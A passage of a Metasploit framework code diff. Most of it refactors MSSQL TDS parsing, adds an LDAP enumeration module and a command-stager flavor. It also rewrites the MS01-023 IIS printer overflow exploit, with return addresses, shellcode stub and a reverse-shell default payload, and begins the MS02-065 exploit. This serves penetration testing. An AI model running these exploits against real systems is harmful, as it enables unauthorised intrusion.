end
row << str.unpack("H*")[0]
when :string
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if(len > 0 and len < 65535)
str << data.slice!(0, len)
end
row << str.gsub("\x00", '')
when :datetime
row << data.slice!(0, 8).unpack("H*")[0]
when :rawint
row << data.slice!(0, 4).unpack('V')[0]
when :bigint
row << data.slice!(0, 8).unpack("H*")[0]
when :smallint
row << data.slice!(0, 2).unpack("v")[0]
when :smallint3
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
when :tinyint
row << data.slice!(0, 1).unpack("C")[0]
when :image
str = ''
len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0, len) if (len and len > 0)
row << str.unpack("H*")[0]
when :int
len = data.slice!(0, 1).unpack("C")[0]
raw = data.slice!(0, len) if (len and len > 0)
case len
when 0, 255
row << ''
when 1
row << raw.unpack("C")[0]
when 2
row << raw.unpack('v')[0]
when 4
row << raw.unpack('V')[0]
when 5
row << raw.unpack('V')[0] # XXX: missing high byte
when 8
row << raw.unpack('VV')[0] # XXX: missing high dword
else
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end
else
info[:errors] << "unknown column type: #{col.inspect}"
end
end
info[:rows] << row
info
end
#
#this method send a prelogin packet and check if encryption is off
#
@@ -690,56 +394,10 @@ module Metasploit
encryption_mode
end
#
# Send and receive using TDS
#
def mssql_send_recv(req, timeout=15, check_status = true)
sock.put(req)
# Read the 8 byte header to get the length and status
# Read the length to get the data
# If the status is 0, read another header and more data
done = false
resp = ""
while(not done)
head = sock.get_once(8, timeout)
if !(head && head.length == 8)
return false
end
# Is this the last buffer?
if head[1, 1] == "\x01" || !check_status
done = true
end
# Grab this block's length
rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0)
buff = sock.get_once(rlen, timeout)
return if not buff
resp << buff
rlen -= buff.length
end
end
resp
end
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
tdsproxy.send_recv(req)
end
#
# Encrypt a password according to the TDS protocol (encode)
#
def mssql_tds_encrypt(pass)
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
end
protected
def windows_authentication
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.2.7"
VERSION = "6.2.8"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+3 -2
View File
@@ -26,7 +26,8 @@ module Exploit::CmdStager
:curl => Rex::Exploitation::CmdStagerCurl,
:fetch => Rex::Exploitation::CmdStagerFetch,
:lwprequest => Rex::Exploitation::CmdStagerLwpRequest,
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest,
:ftp_http => Rex::Exploitation::CmdStagerFtpHttp,
}
# Constant for decoders - used when checking the default flavor decoder.
@@ -55,7 +56,7 @@ module Exploit::CmdStager
flavors = STAGERS.keys if flavors.empty?
flavors.unshift('auto')
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest}]
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest ftp_http}]
register_options(
[
OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ], conditions: server_conditions),
+4 -346
View File
@@ -1,4 +1,7 @@
# -*- coding: binary -*-
require 'metasploit/framework/mssql/base'
module Msf
###
@@ -12,32 +15,7 @@ module Exploit::Remote::MSSQL
include Exploit::Remote::Udp
include Exploit::Remote::Tcp
include Exploit::Remote::NTLM::Client
# Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required.
# Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
include Metasploit::Framework::MSSQL::Base
#
# Creates an instance of a MSSQL exploit module.
@@ -225,52 +203,6 @@ module Exploit::Remote::MSSQL
print_status("Be sure to cleanup #{var_payload}.exe...")
end
#
# Send and receive using TDS
#
def mssql_send_recv(req, timeout=15, check_status = true)
sock.put(req)
# Read the 8 byte header to get the length and status
# Read the length to get the data
# If the status is 0, read another header and more data
done = false
resp = ""
while(not done)
head = sock.get_once(8, timeout)
if !(head && head.length == 8)
return false
end
# Is this the last buffer?
if(head[1, 1] == "\x01" or not check_status )
done = true
end
# Grab this block's length
rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0)
buff = sock.get_once(rlen, timeout)
return if not buff
resp << buff
rlen -= buff.length
end
end
resp
end
#
# Encrypt a password according to the TDS protocol (encode)
#
def mssql_tds_encrypt(pass)
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
end
#
#this method send a prelogin packet and check if encryption is off
#
@@ -641,7 +573,6 @@ module Exploit::Remote::MSSQL
info
end
#
# Nicely print the results of a SQL query
#
@@ -675,278 +606,5 @@ module Exploit::Remote::MSSQL
print_line(tbl.to_s)
end
end
#
# Parse a raw TDS reply from the server
#
def mssql_parse_tds_reply(data, info)
info[:errors] ||= []
info[:colinfos] ||= []
info[:colnames] ||= []
# Parse out the columns
cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
col = {}
info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type]
when 48
col[:id] = :tinyint
when 52
col[:id] = :smallint
when 56
col[:id] = :rawint
when 61
col[:id] = :datetime
when 34
col[:id] = :image
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36
col[:id] = :string
when 38
col[:id] = :int
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127
col[:id] = :bigint
when 165
col[:id] = :hex
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173
col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231, 175, 167, 239
col[:id] = :string
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else
col[:id] = :unknown
end
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if col[:msg_len] && col[:msg_len] > 0
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
end
info[:colnames] << (col[:name] || 'NULL')
end
end
#
# Parse individual tokens from a TDS reply
#
def mssql_parse_reply(data, info)
info[:errors] = []
return if not data
until data.empty?
token = data.slice!(0, 1).unpack('C')[0]
case token
when 0x81
mssql_parse_tds_reply(data, info)
when 0xd1
mssql_parse_tds_row(data, info)
when 0xe3
mssql_parse_env(data, info)
when 0x79
mssql_parse_ret(data, info)
when 0xfd, 0xfe, 0xff
mssql_parse_done(data, info)
when 0xad
mssql_parse_login_ack(data, info)
when 0xab
mssql_parse_info(data, info)
when 0xaa
mssql_parse_error(data, info)
when nil
break
else
info[:errors] << "unsupported token: #{token}"
end
end
info
end
#
# Parse a single row of a TDS reply
#
def mssql_parse_tds_row(data, info)
info[:rows] ||= []
row = []
info[:colinfos].each do |col|
if(data.length == 0)
row << "<EMPTY>"
next
end
case col[:id]
when :hex
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.unpack("H*")[0]
when :string
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.gsub("\x00", '')
when :datetime
row << data.slice!(0, 8).unpack("H*")[0]
when :rawint
row << data.slice!(0, 4).unpack('V')[0]
when :bigint
row << data.slice!(0, 8).unpack("H*")[0]
when :smallint
row << data.slice!(0, 2).unpack("v")[0]
when :smallint3
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
when :tinyint
row << data.slice!(0, 1).unpack("C")[0]
when :image
str = ''
len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0, len) if len && len > 0
row << str.unpack("H*")[0]
when :int
len = data.slice!(0, 1).unpack("C")[0]
raw = data.slice!(0, len) if len && len > 0
case len
when 0, 255
row << ''
when 1
row << raw.unpack("C")[0]
when 2
row << raw.unpack('v')[0]
when 4
row << raw.unpack('V')[0]
when 5
row << raw.unpack('V')[0] # XXX: missing high byte
when 8
row << raw.unpack('VV')[0] # XXX: missing high dword
else
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end
else
info[:errors] << "unknown column type: #{col.inspect}"
end
end
info[:rows] << row
info
end
#
# Parse a "ret" TDS token
#
def mssql_parse_ret(data, info)
ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret
info
end
#
# Parse a "done" TDS token
#
def mssql_parse_done(data, info)
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info
end
#
# Parse an "error" TDS token
#
def mssql_parse_error(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse an "environment change" TDS token
#
def mssql_parse_env(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
type = buff.slice!(0, 1).unpack('C')[0]
nval = ''
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
oval = ''
olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval }
info
end
#
# Parse an "information" TDS token
#
def mssql_parse_info(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
len = data.slice!(0, 2).unpack('v')[0]
_buff = data.slice!(0, len)
info[:login_ack] = true
end
end
end
+1 -1
View File
@@ -145,7 +145,7 @@ module Msf
def default_version_string
require 'rex/proto/ssh/connection'
Rex::Proto::Ssh::Connection.default_options['local_version']
rescue OpenSSL::Cipher::CipherError => e
rescue OpenSSL::OpenSSLError => e
print_error("ReverseSSH handler did not load with OpenSSL version #{OpenSSL::VERSION}")
elog(e)
'SSH-2.0-OpenSSH_5.3p1'
+1
View File
@@ -258,6 +258,7 @@ module Msf
str = <<~VERSIONS
Framework: #{framework.version}
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: #{Msf::Config.install_root}
Session Type: #{db_connection_info(framework)}
Install Method: #{installation_method}
+333
View File
@@ -0,0 +1,333 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
require 'json'
require 'yaml'
def initialize(info = {})
actions, default_action = initialize_actions
super(
update_info(
info,
'Name' => 'LDAP Query and Enumeration Module',
'Description' => %q{
This module allows users to query an LDAP server using either a custom LDAP query, or
a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
file containing custom queries to be executed using the RUN_QUERY_FILE action.
If this action is specified, then QUERY_FILE_PATH must be a path to the location
of this JSON/YAML file on disk.
Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting
the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES
to a comma seperated string containing the list of attributes they are interested in obtaining
from the results.
As a third option can run one of several predefined queries by setting ACTION to the
appropriate value. These options will be loaded from the ldap_queries_default.yaml file
located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.
All results will be returned to the user in table, CSV or JSON format, depending on the value
of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter
should multiple items exist within a single column.
},
'Author' => [
'Grant Willcox', # Original module author
],
'References' => [
],
'DisclosureDate' => '2022-05-19',
'License' => MSF_LICENSE,
'Actions' => actions,
'DefaultAction' => default_action,
'DefaultOptions' => {
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
Opt::RPORT(389), # Set to 636 for SSL/TLS
OptEnum.new('OUTPUT_FORMAT', [true, 'The output format to use', 'table', %w[csv table json]]),
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptPath.new('QUERY_FILE_PATH', [false, 'Path to the JSON or YAML file to load and run queries from'], conditions: %w[ACTION == RUN_QUERY_FILE]),
OptString.new('QUERY_FILTER', [false, 'Filter to send to the target LDAP server to perform the query'], conditions: %w[ACTION == RUN_SINGLE_QUERY]),
OptString.new('QUERY_ATTRIBUTES', [false, 'Comma seperated list of attributes to retrieve from the server'], conditions: %w[ACTION == RUN_SINGLE_QUERY])
])
end
def initialize_actions
user_config_file_path = File.join(::Msf::Config.get_config_root, 'ldap_queries.yaml')
default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml')
@loaded_queries = safe_load_queries(default_config_file_path) || []
if File.exist?(user_config_file_path)
@loaded_queries.concat(safe_load_queries(user_config_file_path) || [])
else
# If the user config file doesn't exist, then initialize it with a sample entry.
# Users can adjust this file to overwrite default actions to retrieve different attributes etc by default.
template = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_template.yaml')
FileUtils.cp(template, user_config_file_path) if File.exist?(template)
end
# Combine the user settings with the default settings and then uniq them such that we only have one copy
# of each ACTION, however we use the user's custom settings if they have tweaked anything to prevent overriding
# their custom adjustments.
@loaded_queries = @loaded_queries.map { |h| [h['action'], h] }.to_h
@loaded_queries.select! do |_, entry|
if entry['action'].blank?
wlog('ldap query entry detected that was missing its action field')
return false
end
if %w[RUN_QUERY_FILE RUN_SINGLE_QUERY].include? entry['action']
wlog("ldap query entry detected that was using a reserved action name: #{entry['action']}")
return false
end
if entry['filter'].blank?
wlog('ldap query entry detected that was missing its filter field')
return false
end
unless entry['attributes'].is_a? Array
wlog('ldap query entry detected that was missing its attributes field')
return false
end
true
end
actions = []
@loaded_queries.each_value do |entry|
actions << [entry['action'], { 'Description' => entry['description'] || '' }]
end
actions << ['RUN_QUERY_FILE', { 'Description' => 'Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.' }]
actions << ['RUN_SINGLE_QUERY', { 'Description' => 'Execute a single LDAP query using the QUERY_FILTER and QUERY_ATTRIBUTES options.' }]
actions.sort!
default_action = 'RUN_QUERY_FILE'
unless @loaded_queries.empty? # Aka there is more than just RUN_QUERY_FILE and RUN_SINGLE_QUERY in the actions list...
default_action = actions[0][0] # Get the first entry's action name and set this as the default action.
end
return actions, default_action
end
def safe_load_queries(filename)
begin
settings = YAML.safe_load(File.binread(filename))
rescue StandardError => e
elog("Couldn't parse #{filename}", error: e)
return
end
return unless settings['queries'].is_a? Array
settings['queries']
end
def perform_ldap_query(ldap, filter, attributes)
returned_entries = ldap.search(base: @base_dn, filter: filter, attributes: attributes)
query_result = ldap.as_json['result']['ldap_result']
case query_result['resultCode']
when 0
vprint_good('Successfully queried LDAP server!')
when 1
print_error("Could not perform query #{filter}. Its likely the query requires authentication!")
fail_with(Failure::NoAccess, query_result['errorMessage'])
else
fail_with(Failure::UnexpectedReply, "Query #{filter} failed with error: #{query_result['errorMessage']}")
end
if returned_entries.nil? || returned_entries.empty?
print_error("No results found for #{filter}.")
nil
else
returned_entries
end
end
def generate_rex_tables(entries, format)
entries.each do |entry|
tbl = Rex::Text::Table.new(
'Header' => entry['dn'][0].split(',').join(' '),
'Indent' => 1,
'Columns' => %w[Name Attributes]
)
entry.attribute_names.each do |attr|
if format == 'table'
tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header.
else
tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in.
end
end
case format
when 'table'
print_status(tbl.to_s)
when 'csv'
print_status(tbl.to_csv)
else
fail_with(Failure::BadConfig, "Invalid format #{format} passed to generate_rex_tables!")
end
end
end
def output_json_data(entries)
entries.each do |entry|
result = ''
data = {}
entry.attribute_names.each do |attr|
data[attr] = entry[attr].join(' || ')
end
result << JSON.pretty_generate(data) + ",\n"
result.gsub!(/},\n$/, '}')
print_status(entry['dn'][0].split(',').join(' '))
print_line(result)
end
end
def output_data_table(entries)
generate_rex_tables(entries, 'table')
end
def output_data_csv(entries)
generate_rex_tables(entries, 'csv')
end
def show_output(entries)
case datastore['OUTPUT_FORMAT']
when 'csv'
output_data_csv(entries)
when 'table'
output_data_table(entries)
when 'json'
output_json_data(entries)
else
fail_with(Failure::BadConfig, 'Supported OUTPUT_FORMAT values are csv, table and json')
end
end
def run_queries_from_file(ldap, queries)
queries.each do |query|
unless query['action'] && query['filter'] && query['attributes']
fail_with(Failure::BadConfig, "Each query in the query file must at least contain a 'action', 'filter' and 'attributes' attribute!")
end
attributes = query['attributes']
if attributes.nil? || attributes.empty?
print_warning('At least one attribute needs to be specified per query in the query file for entries to work!')
break
end
filter = Net::LDAP::Filter.construct(query['filter'])
print_status("Running #{query['action']}...")
entries = perform_ldap_query(ldap, filter, attributes)
if entries.nil?
print_warning("Query #{query['filter']} from #{query['action']} didn't return any results!")
next
end
show_output(entries)
end
end
def run
entries = nil
begin
ldap_connect do |ldap|
bind_result = ldap.as_json['result']['ldap_result']
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
case bind_result['resultCode']
when 0
print_good('Successfully bound to the LDAP server!')
when 1
fail_with(Failure::NoAccess, "An operational error occurred, perhaps due to lack of authorization. The error was: #{bind_result['errorMessage']}")
when 7
fail_with(Failure::NoTarget, 'Target does not support the simple authentication mechanism!')
when 8
fail_with(Failure::NoTarget, "Server requires a stronger form of authentication than we can provide! The error was: #{bind_result['errorMessage']}")
when 14
fail_with(Failure::NoTarget, "Server requires additional information to complete the bind. Error was: #{bind_result['errorMessage']}")
when 48
fail_with(Failure::NoAccess, "Target doesn't support the requested authentication type we sent. Try binding to the same user without a password, or providing credentials if you were doing anonymous authentication.")
when 49
fail_with(Failure::NoAccess, 'Invalid credentials provided!')
else
fail_with(Failure::Unknown, "Unknown error occurred whilst binding: #{bind_result['errorMessage']}")
end
if (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{@base_dn}")
else
print_status('Discovering base DN automatically')
unless (@base_dn = discover_base_dn(ldap))
print_warning("Couldn't discover base DN!")
end
end
case action.name
when 'RUN_QUERY_FILE'
unless datastore['QUERY_FILE_PATH']
fail_with(Failure::BadConfig, 'When using the RUN_QUERY_FILE action, one must specify the path to the JASON/YAML file containing the queries via QUERY_FILE_PATH!')
end
print_status("Loading queries from #{datastore['QUERY_FILE_PATH']}...")
parsed_queries = safe_load_queries(datastore['QUERY_FILE_PATH']) || []
if parsed_queries.empty?
fail_with(Failure::BadConfig, "No queries loaded from #{datastore['QUERY_FILE_PATH']}!")
end
run_queries_from_file(ldap, parsed_queries)
return
when 'RUN_SINGLE_QUERY'
unless datastore['QUERY_FILTER'] && datastore['QUERY_ATTRIBUTES']
fail_with(Failure::BadConfig, 'When using the RUN_SINGLE_QUERY action, one must supply the QUERY_FILTER and QUERY_ATTRIBUTE datastore options!')
end
begin
filter = Net::LDAP::Filter.construct(datastore['QUERY_FILTER'])
rescue StandardError => e
fail_with(Failure::BadConfig, "Could not compile the filter #{datastore['QUERY_FILTER']}. Error was #{e}")
end
print_status("Sending single query #{datastore['QUERY_FILTER']} to the LDAP server...")
attributes = datastore['QUERY_ATTRIBUTES'].split(',')
if attributes.empty?
fail_with(Failure::BadConfig, 'Attributes list is empty as we could not find at least one attribute to filter on!')
end
entries = perform_ldap_query(ldap, filter, attributes)
print_error("No entries could be found for #{datastore['QUERY_FILTER']}!") if entries.nil? || entries.empty?
else
query = @loaded_queries[datastore['ACTION']]
fail_with(Failure::BadConfig, "Invalid action: #{datastore['ACTION']}") unless query
begin
filter = Net::LDAP::Filter.construct(query['filter'])
rescue StandardError => e
fail_with(Failure::BadConfig, "Could not compile the filter #{query['filter']}. Error was #{e}")
end
entries = perform_ldap_query(ldap, filter, query['attributes'])
end
end
rescue Rex::ConnectionTimeout
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
rescue Net::LDAP::Error => e
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
end
return if entries.nil? || entries.empty?
show_output(entries)
end
end
@@ -6,99 +6,124 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
'Description' => %q{
This exploits a buffer overflow in the request processor of
the Internet Printing Protocol ISAPI module in IIS. This
module works against Windows 2000 service pack 0 and 1. If
the service stops responding after a successful compromise,
run the exploit a couple more times to completely kill the
hung process.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
super(
update_info(
info,
'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
'Description' => %q{
This exploits a buffer overflow in the request processor of the
Internet Printing Protocol ISAPI module in IIS. This module
works against Windows 2000 Server and Professional SP0-SP1.
If the service stops responding after a successful compromise,
run the exploit a couple more times to completely kill the
hung process.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2001-0241'],
[ 'OSVDB', '3323'],
[ 'BID', '2674'],
[ 'MSB', 'MS01-023'],
[ 'URL', 'https://seclists.org/lists/bugtraq/2001/May/0005.html'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
'Privileged' => false,
'Payload' => {
'Space' => 900,
'BadChars' => "\x00\x0a\x0b\x0d\x20\x2f\x3a",
'StackAdjustment' => -3500
},
'Targets' =>
[
[
'Windows 2000 English SP0-SP1',
{
'Platform' => 'win',
'Ret' => 0x732c45f3,
},
],
],
'Platform' => 'win',
'DisclosureDate' => '2001-05-01',
'DefaultTarget' => 0))
'Targets' => [
# jmp esp @ compfilt.dll
[ 'Windows 2000 SP0-SP1 (Arabic)', { 'Ret' => 0x732345f3 } ],
[ 'Windows 2000 SP0-SP1 (Czech)', { 'Ret' => 0x732645f3 } ],
[ 'Windows 2000 SP0-SP1 (Chinese)', { 'Ret' => 0x732245f3 } ],
[ 'Windows 2000 SP0-SP1 (Dutch)', { 'Ret' => 0x732745f3 } ],
[ 'Windows 2000 SP0-SP1 (English)', { 'Ret' => 0x732c45f3 } ],
[ 'Windows 2000 SP0-SP1 (French)', { 'Ret' => 0x732345f3 } ],
[ 'Windows 2000 SP0-SP1 (Finnish)', { 'Ret' => 0x732945f3 } ],
[ 'Windows 2000 SP0-SP1 (German)', { 'Ret' => 0x732345f3 } ],
# [ 'Windows 2000 SP0-SP1 (Greek)', { 'Ret' => 0x732045f3 } ], # contains 0x20
[ 'Windows 2000 SP0-SP1 (Korean)', { 'Ret' => 0x731e45f3 } ],
[ 'Windows 2000 SP0-SP1 (Hungarian)', { 'Ret' => 0x732445f3 } ],
[ 'Windows 2000 SP0-SP1 (Italian)', { 'Ret' => 0x732645f3 } ],
[ 'Windows 2000 SP0-SP1 (Portuguese)', { 'Ret' => 0x732645f3 } ],
[ 'Windows 2000 SP0-SP1 (Spanish)', { 'Ret' => 0x732645f3 } ],
[ 'Windows 2000 SP0-SP1 (Swedish)', { 'Ret' => 0x732945f3 } ],
[ 'Windows 2000 SP0-SP1 (Turkish)', { 'Ret' => 0x732545f3 } ],
register_options(
[
Opt::RPORT(80)
])
# jmp esp @ ws2_32.dll
[ 'Windows 2000 Pro SP0 (Greek)', { 'Ret' => 0x74f862c3 } ],
[ 'Windows 2000 Pro SP1 (Greek)', { 'Ret' => 0x74f85173 } ],
],
'Arch' => [ARCH_X86],
'Platform' => 'win',
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultTarget' => 4,
'DisclosureDate' => '2001-05-01'
)
)
register_options([
Opt::RPORT(80)
])
end
def check
connect
sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
resp = sock.get_once
disconnect
res = send_request_cgi({
'uri' => '/NULL.printer',
'version' => '1.0'
})
if !(resp and resp =~ /Error in web printer/)
return Exploit::CheckCode::Safe
end
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Safe unless res.code == 500
# Error response is language dependent: "<b>Error in web printer install.</b>"
return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
connect
sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
resp = sock.get_once
disconnect
res = send_request_cgi({
'uri' => '/NULL.printer',
'vhost' => rand_text_alpha(257),
'version' => '1.0'
})
if (resp and resp =~ /locked out/)
print_status("The IUSER account is locked out, we can't check")
return Exploit::CheckCode::Detected
end
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Detected("The IUSER account is locked out, we can't check") if res.body.to_s.include?('locked out')
return CheckCode::Safe unless res.code == 500
return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
if (resp and resp.index("HTTP/1.1 500") >= 0)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
CheckCode::Appears
end
def exploit
connect
print_status("Using target: #{target.name} ...")
buf = make_nops(280)
buf[268, 4] = [target.ret].pack('V')
buf = make_nops(268)
buf << [target.ret].pack('V')
buf << make_nops(8)
# payload is at: [ebx + 96] + 256 + 64
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
buf << "\x80\xc1\x40" # add cl, 64
buf << "\x80\xc5\x01" # add ch, 1
buf << "\xff\xe1" # jmp ecx
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
buf << "\x80\xc1\x40" # add cl, 64
buf << "\x80\xc5\x01" # add ch, 1
buf << "\xff\xe1" # jmp ecx
sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")
res = send_request_cgi({
'uri' => "http://#{buf}/NULL.printer?#{payload.encoded}",
'version' => '1.0'
}, 5)
handler
disconnect
# It is expected that we receive no reply. A reply indicates exploit failure.
fail_with(Failure::UnexpectedReply, "#{res.code} #{res.message}") if res
end
end
+56 -53
View File
@@ -8,10 +8,12 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize
def initialize(info = {})
super(
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
'Description' => %q{
update_info(
info,
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
'Description' => %q{
This module can be used to execute arbitrary code on IIS servers
that expose the /msadc/msadcs.dll Microsoft Data Access Components
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
@@ -19,78 +21,79 @@ class MetasploitModule < Msf::Exploit::Remote
(handsafe.reg). The service is vulnerable to a heap overflow where
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
},
'Author' => 'aushack',
'Platform' => 'win',
'References' =>
[
},
'Author' => 'aushack',
